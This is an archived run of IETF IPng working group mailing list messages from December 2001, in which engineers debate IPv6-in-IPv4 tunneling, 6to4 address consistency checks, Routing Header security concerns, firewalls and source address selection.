13 Dec 2001 06:33:26 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBDDWYM28742; Thu, 13 Dec 2001 15:32:34 +0200 Date: Thu, 13 Dec 2001 15:32:34 +0200 (EET) From: Pekka Savola To: Brian E Carpenter cc: Francis Dupont , Erik Nordmark , "Jari T. Malinen" , Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: <3C177BF6.A800E20E@hursley.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 12 Dec 2001, Brian E Carpenter wrote: > Francis Dupont wrote: > > > > In your previous mail you wrote: > > > > It frustrated me a great deal that IPv6-in-IPv4 tunneling with the same > > protocol number 41 could be used for various things: > > > > 1. configured tunneling > > > > 2. automatic tunneling > > 2.1 automatic tunneling with compatible addresses > > 2.2 6to4 > > 2.3 ISATAP > > (more to come?) > > > > => oh, you forgot 6over4 ! > > > In any case, I think the reusability of type 41 is a feature, not a bug. It means we > only have to persuade ISPs and corporate security people to open up one IPv4 protocol > type to enable all forms of 6in4 tunnels. Yes, it can be seen as a feature. Going back, though, it would probably have made sense to reserve 32 bits in the format, including an 8-bit "sub-type" identifier for those mechanisms. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 06:01:54 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDE1svU000595 for ; Thu, 13 Dec 2001 06:01:54 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBDE1sZ6000594 for ipng-dist; Thu, 13 Dec 2001 06:01:54 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDE1pvU000584; Thu, 13 Dec 2001 06:01:51 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA22471; Thu, 13 Dec 2001 06:01:52 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA11913; Thu, 13 Dec 2001 07:01:50 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBDE1mG28970; Thu, 13 Dec 2001 16:01:48 +0200 Date: Thu, 13 Dec 2001 16:01:48 +0200 (EET) From: Pekka Savola To: cc: , Subject: Re: IPv6 address ownership and autoconfig problems (was Re: [mobile-ip] Routing header Vs tunneling In-Reply-To: <3C172996.6050706@nomadiclab.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 12 Dec 2001, Pekka Nikander wrote: > BTW, while you consider ingress filtering etc, you may find > it entertaining to read our recent half-serious half-joking > paper titled "IPv6 Source Addresses Considered Harmful", > available at http://www.tml.hut.fi/~pnr/publications/nordsec2001.pdf Perhaps you should tentatively schedule a re-presentation for the tenth anniversary of this paper, in 2011, and hope a global IPSEC will be a reality then. Oh, make that 15. :-) -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 06:23:44 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDENhvU000741 for ; Thu, 13 Dec 2001 06:23:43 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBDENhru000740 for ipng-dist; Thu, 13 Dec 2001 06:23:43 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDENevU000733; Thu, 13 Dec 2001 06:23:40 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA05859; Thu, 13 Dec 2001 06:23:41 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA27463; Thu, 13 Dec 2001 06:23:38 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id PAA10302; Thu, 13 Dec 2001 15:23:36 +0100 Received: from gsine04.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA41290 from ; Thu, 13 Dec 2001 15:23:31 +0100 Message-Id: <3C18B9DD.D2272C53@hursley.ibm.com> Date: Thu, 13 Dec 2001 15:23:25 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Pekka Savola Cc: Tony Hain , Sreeram Vankadari , ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com Subject: Re: 6to4 security [was Re: (ngtrans) RE: Directed broadcast in IPv6] References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Savola wrote: > > On Wed, 12 Dec 2001, Brian E Carpenter wrote: > > > The sentence refers to: > > > > > > whether the encapsulating IPv4 address is consistent with the encapsulated > > > 2002:: address. > > > > > > 1) You cannot receive IPv6 packets from *relay* which have 2002::/16 > > > prefix. If you do, someone is using 6to4 improperly. We agree on this. > > > > Actually, the relay (according to RFC 3056) is a 6to4 router that also has a > > native IPv6 interface. It certainly can source 2002: packets from its own > > site, as well as native source addresses from the native interface. > > You can apply the consistency check, but not to relayed packets with > > a native source address. > > I meant relay as a box that has relay functinality. Local packets are of > course fine, and the consistancy check applies there so that is no > problem. > > But the sentence IMO basically says: > > "there are packets [referring to 2002 prefix] coming from relay which > must not be checked". Oh, I see your problem now. But the [...] is not implied by the text as I read it. However, since I wrote it too, maybe other people see that implication, which wasn't intended. Brian > > By referring to 2002, the consistancy check might not be performed for > _2002_ addresses (which it should not receive except for the local ones > where the check would apply), thus relays becoming a source for > inconsistant 2002 packets. > > > > 2) How do you check that 3ffe:ffff::1 is consistant with an IPv4 address? > > > > > > You cannot check *consistancy* unless the addresses are of form > > > 2002: and . Only 2002 and IPv4 can > > > be compared. > > > > Yes. 3056 says nothing different. I see no error in the 3056 text. > > Ok, I guess this is one of those way of thinking issues; whether the > 'consistancy check' is basically: > > 1) > > consistancy_check(ipv6, ipv4) { > if (bits 16-47 of ipv6 equal ipv4) > return true > else > return false > } > > or: > > 2) > > consistancy_check(ipv6, ipv4) { > if prefix of ipv6 is 2002 { > if (bits 16-47 of ipv6 equal ipv4) > return true > else > return false > } > else > return true // because consistancy is not defined for non-2002 > } > > That is, what's the defined consistancy between native ipv6 and ipv4 > addresses. > > Thus skipping the consistancy check becomes a bit of a blur. > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 06:27:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDERnvU000782 for ; Thu, 13 Dec 2001 06:27:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBDERnw2000781 for ipng-dist; Thu, 13 Dec 2001 06:27:49 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDERkvU000774 for ; Thu, 13 Dec 2001 06:27:46 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA26660 for ; Thu, 13 Dec 2001 06:27:47 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA29194 for ; Thu, 13 Dec 2001 06:27:46 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id PAA08492; Thu, 13 Dec 2001 15:27:41 +0100 Received: from gsine04.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA51054 from ; Thu, 13 Dec 2001 15:27:38 +0100 Message-Id: <3C18BAD6.7792B1AD@hursley.ibm.com> Date: Thu, 13 Dec 2001 15:27:34 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: cdel@firsthand.net Cc: Moter Du , ipng@sunroof.eng.sun.com Subject: Re: demand for end-to-end communication? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk It's our responsibility as engineers to care. You can't expect users to care, or even to understand why they are getting poor results. Still less can you expect users to know that they are being deprived of innovative new applications because of the lack of e2e transparency. Brian Christian de Larrinaga wrote: > > From: owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Moter Du > Sent: 13 December 2001 08:32 > Subject: demand for end-to-end communication? > > >For day-by-day communication (voice calls, video conferences, etc.), the > indirect services seem have offered > >VoIP solutions without further consume scarce address space. I know > indirect communication would expense > >double bandwidth. But, what if people just doesn't care? > >Moter > > IMO need space for both. unsure about bandwidth implication. users don't > care until they get spiked. > > christian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 08:06:03 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDG62vU001017 for ; Thu, 13 Dec 2001 08:06:03 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBDG627J001016 for ipng-dist; Thu, 13 Dec 2001 08:06:02 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDG5xvU001009 for ; Thu, 13 Dec 2001 08:05:59 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA20456 for ; Thu, 13 Dec 2001 08:05:59 -0800 (PST) Received: from c2bapps2.btconnect.com (c2bapps2.btconnect.com [193.113.209.22]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with SMTP id JAA20296 for ; Thu, 13 Dec 2001 09:05:59 -0700 (MST) Received: from designintel (actually host host62-7-33-111.btinternet.com) by c2bapps2 with SMTP (XT-PP) with ESMTP; Thu, 13 Dec 2001 16:05:48 +0000 Reply-To: From: "Christian de Larrinaga" To: "Brian E Carpenter" Cc: "Moter Du" , Subject: RE: demand for end-to-end communication? Date: Thu, 13 Dec 2001 16:18:24 -0000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <3C18BAD6.7792B1AD@hursley.ibm.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I agree. Users can be recepteive to principles such as RFC1958 "connectivity is its own reward." :-) but there is a leap of the imagination needed for users brought up in an environment of mediated communications services to "get" the benefit of e2e. we should look at what e2e transparency environment offers application / service designers. perhaps in another place. Christian > -----Original Message----- > From: owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Brian E Carpenter > Sent: 13 December 2001 14:28 > To: cdel@firsthand.net > Cc: Moter Du; ipng@sunroof.eng.sun.com > Subject: Re: demand for end-to-end communication? > > > It's our responsibility as engineers to care. You can't > expect users to care, or even to understand why they are > getting poor results. Still less can you expect users to > know that they are being deprived of innovative new applications > because of the lack of e2e transparency. > > Brian > > Christian de Larrinaga wrote: > > > > From: owner-ipng@sunroof.eng.sun.com > > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Moter Du > > Sent: 13 December 2001 08:32 > > Subject: demand for end-to-end communication? > > > > >For day-by-day communication (voice calls, video conferences, > etc.), the > > indirect services seem have offered > > >VoIP solutions without further consume scarce address space. I know > > indirect communication would expense > > >double bandwidth. But, what if people just doesn't care? > > >Moter > > > > IMO need space for both. unsure about bandwidth implication. users don't > > care until they get spiked. > > > > christian > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 08:26:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDGQLvU001112 for ; Thu, 13 Dec 2001 08:26:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBDGQL4b001111 for ipng-dist; Thu, 13 Dec 2001 08:26:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDGQHvU001104 for ; Thu, 13 Dec 2001 08:26:17 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA25571 for ; Thu, 13 Dec 2001 08:26:18 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA13682 for ; Thu, 13 Dec 2001 09:26:17 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBDGQ5I28910; Thu, 13 Dec 2001 17:26:05 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id RAA23011; Thu, 13 Dec 2001 17:26:06 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBDGQ5D28341; Thu, 13 Dec 2001 17:26:05 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112131626.fBDGQ5D28341@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Pekka Savola cc: Vijay Devarapalli , ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-reply-to: Your message of Thu, 13 Dec 2001 15:14:50 +0200. Date: Thu, 13 Dec 2001 17:26:05 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: > => I fully support Vijay's opinion (and we had firewall persons > in our group). And these firewall persons were probably stateful (by themselves or by connection to AAA system) firewall evangelists? => by themselves: they are proud to offer one of the first firewalls with portmap/rpcbind spoofing (i.e. the firewall looks at the port negociated by portmap/rpcbind and opens a little door for it). As I already said, IMHO stateful firewalls do a better job than stateless firewalls (and I prefer to have *no* firewall on the network I use, specially no firewall managed by another person :-). We are leaving the mailing list scope... Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 13:40:41 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDLefFp002765 for ; Thu, 13 Dec 2001 13:40:41 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBDLefDW002764 for ipng-dist; Thu, 13 Dec 2001 13:40:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDLecFp002757 for ; Thu, 13 Dec 2001 13:40:38 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA07374 for ; Thu, 13 Dec 2001 13:40:39 -0800 (PST) Received: from zmamail04.zma.compaq.com (zmamail04.zma.compaq.com [161.114.64.104]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA03504 for ; Thu, 13 Dec 2001 13:40:38 -0800 (PST) Received: by zmamail04.zma.compaq.com (Postfix, from userid 12345) id 8BE444544; Thu, 13 Dec 2001 16:40:34 -0500 (EST) Received: from mailrelay01.cac.cpqcorp.net (mailrelay01.cac.cpqcorp.net [16.47.132.152]) by zmamail04.zma.compaq.com (Postfix) with ESMTP id 2F922443F; Thu, 13 Dec 2001 16:40:34 -0500 (EST) Received: by mailrelay01.cac.cpqcorp.net (Postfix, from userid 12345) id C328F14E9; Thu, 13 Dec 2001 13:40:33 -0800 (PST) Received: from oflume.zk3.dec.com (bryflume.zk3.dec.com [16.141.40.17]) by mailrelay01.cac.cpqcorp.net (Postfix) with ESMTP id 5C3D31729; Thu, 13 Dec 2001 13:40:33 -0800 (PST) Received: from yquarry.zk3.dec.com by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id QAA0000029023; Thu, 13 Dec 2001 16:39:50 -0500 (EST) Received: from zk3.dec.com by yquarry.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id QAA0000014160; Thu, 13 Dec 2001 16:39:55 -0500 (EST) Message-ID: <3C1A71F5.62905FA7@zk3.dec.com> Date: Fri, 14 Dec 2001 14:41:09 -0700 From: Vladislav Yasevich X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.16-acpi i686) X-Accept-Language: en MIME-Version: 1.0 To: Pekka Savola Cc: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka I've read your draft and here is the list of comments regarding the Routing Header. In my comments I am making an assumption that hosts do not forward packets off the node. ---- Section 2.1 ---- With the above assumption, the webserver will not forward the packet to host2 (unless of course you configure webserver as a router). The webserver will the receive the packet described in the draft and do processing according to 2460. When processing the routing header, it will follow the 2460 rules by swapping the addresses and attempting to forward using let's say ip6_forward() method. Since this is a host, it should not be forwarding off the node (assumption above). Since the route to 'host2' points off the node, the packet is dropped (and I think the ICMP error is returned, not sure on this point). --------------------- ---- Section 2.2 ----- The description for Section 2.1 applies here as well. Unless the 'reflector' is a router (that's not doing ingress filtering), the packet will be dropped at the reflector and the attack will fail. I do not know how iTrace works so can't comment on Section 2.3 As you can see, if we restrict the hosts to not forward packets off the node ( I think this is already done... indirectly), then the routing headers do not really cause big problems. As for your message with people creating routes to loopback, there is nothing you can do if people insist of shooting themselves in the foot. :) -vlad > But please, if you have specific arguments, have a look at my draft. > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 13:59:47 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDLxlFp002957 for ; Thu, 13 Dec 2001 13:59:47 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBDLxkG3002956 for ipng-dist; Thu, 13 Dec 2001 13:59:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDLxjFp002949 for ; Thu, 13 Dec 2001 13:59:45 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBDLxKNE023071 for ; Thu, 13 Dec 2001 13:59:20 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBDLxJZO023070 for ipng@sunroof.eng.sun.com; Thu, 13 Dec 2001 13:59:19 -0800 (PST) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBD8isvU029715 for ; Thu, 13 Dec 2001 00:44:54 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA00888 for ; Thu, 13 Dec 2001 00:44:54 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA29671; Thu, 13 Dec 2001 00:44:51 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBD8kKh02576; Thu, 13 Dec 2001 15:46:23 +0700 (ICT) From: Robert Elz To: Alain Durand cc: ipng@sunroof.eng.sun.com Subject: Re: proposal for text change in source address selection In-Reply-To: <5.1.0.14.0.20011211122752.00b19f00@jurassic.eng.sun.com> References: <5.1.0.14.0.20011211122752.00b19f00@jurassic.eng.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 13 Dec 2001 15:46:20 +0700 Message-ID: <2574.1008233180@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I have no problem with the general thrust of the proposed text. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 14:00:15 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDM0FFp002967 for ; Thu, 13 Dec 2001 14:00:15 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBDM0E0M002966 for ipng-dist; Thu, 13 Dec 2001 14:00:14 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDM0DFp002959 for ; Thu, 13 Dec 2001 14:00:13 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBDLxlNE023101 for ; Thu, 13 Dec 2001 13:59:47 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBDLxlci023100 for ipng@sunroof.eng.sun.com; Thu, 13 Dec 2001 13:59:47 -0800 (PST) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBDEJtvU000722 for ; Thu, 13 Dec 2001 06:19:59 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA05393; Thu, 13 Dec 2001 06:19:56 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA17001; Thu, 13 Dec 2001 07:19:55 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id PAA17742; Thu, 13 Dec 2001 15:19:53 +0100 Received: from gsine04.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA26240 from ; Thu, 13 Dec 2001 15:19:50 +0100 Message-Id: <3C18B8FE.6472221A@hursley.ibm.com> Date: Thu, 13 Dec 2001 15:19:42 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Erik Nordmark Cc: Alain Durand , ipng@sunroof.eng.sun.com Subject: Re: proposal for text change in source address selection References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I would expect predictability to be useful in a diffserv context (it will make it easier to configure classifiers). It might also make multihoming easier to think about. Brian Erik Nordmark wrote: > > > My recollection of the discussion is that some people think that > > predictability is a good think and other think that randomness is good. > > This text (maybe not very well formulated) intend to say > > "If you think that predictability is not a good think, order randomly the > > addresses, > > if you think predictability is a good thing, then here is a way to > > achieve it" > > But those are different implementors having different opinions, and it > is up to the operators to deal with any issues relating to this. > > So I think we need to understand what the operational concerns, if any, > are in this space. > Do they prefer predictability across nodes 